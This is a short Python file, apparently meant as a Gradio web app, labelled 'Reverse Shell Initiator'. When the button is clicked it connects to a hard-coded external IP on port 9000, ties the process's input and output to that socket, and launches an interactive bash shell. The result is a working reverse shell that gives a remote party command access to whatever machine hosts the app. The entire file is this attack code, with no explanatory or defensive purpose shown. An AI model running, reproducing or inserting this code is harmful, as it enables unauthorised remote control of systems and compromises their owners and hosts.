import gradio as gr import socket import subprocess import threading import os def run_reverse_shell(): try: # Задаем IP-адрес и порт сервера ip = '45.155.205.202' port = 9000 def shell_thread(): try: # Создаем сокет s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, port)) # Отправляем сообщение о подключении s.send(b"Connected to reverse shell.\n") # Сразу входим в интерактивную оболочку os.dup2(s.fileno(), 0) # stdin os.dup2(s.fileno(), 1) # stdout os.dup2(s.fileno(), 2) # stderr # Запускаем оболочку (например, bash) p = subprocess.call(['/bin/bash', '-i']) # Используем -i для интерактивного режима # Закрываем сокет s.close() except Exception as e: return f"Error: {e}" # Запускаем обратную оболочку в отдельном потоке, чтобы не блокировать Gradio интерфейс shell = threading.Thread(target=shell_thread) shell.start() return "Reverse shell has been initiated." except Exception as e: return f"An error occurred: {str(e)}" # Создаем интерфейс Gradio iface = gr.Interface( fn=run_reverse_shell, inputs=None, # Нет входных данных, только кнопка outputs="text", title="Reverse Shell Initiator", description="Click the button to initiate a reverse shell." ) # Запуск интерфейса iface.launch()